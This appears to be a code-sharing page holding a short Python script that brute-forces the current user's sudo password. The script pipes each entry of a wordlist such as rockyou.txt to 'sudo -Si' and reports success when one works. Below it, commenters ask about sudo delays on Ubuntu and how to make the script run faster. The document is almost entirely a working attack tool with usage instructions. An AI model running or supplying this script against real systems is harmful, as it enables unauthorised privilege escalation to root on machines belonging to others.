A Python script to brute force the sudo password of a current user.

sudo_brute_force.py

# Author: Matej Ramuta
# How to use this script:
# 1. You need to have a wordlist file, something like rockyou.txt
# 2. Make sure you have Python 3 installed. Try this with "python --version" command. Also check "python3 --version"
# 3. Run the script like this: python sudo_brute_force.py passwords.txt

import os
import sys

if len(sys.argv) == 1:
    print("You need to add a wordlist! Run the script like this: python sudo_brute_force.py passwords.txt")
    exit()

wordfile = sys.argv[1]

print("Brute force sudo password with wordlist {}".format(wordfile))
print()

with open(wordfile, "r") as wordlist:
    for password in wordlist:
        print(password)

        result = os.system("echo '{}' | sudo -Si".format(password.strip()))  # important: strip() the newline char

        if result == "0" or result == 0:
            print("Success! :) The password is: {}".format(password))
            break
        else:
            print("Wrong password... :( Let's try again!")
            print()

Does anyone have this working on systems that institute a delay on sudo commands? It doesn't seem to work for me in Ubuntu.

@trawn3333 there are better ways to do this if you forgot your password. But hit me up if you still want this.

is there any way to make it run faster?
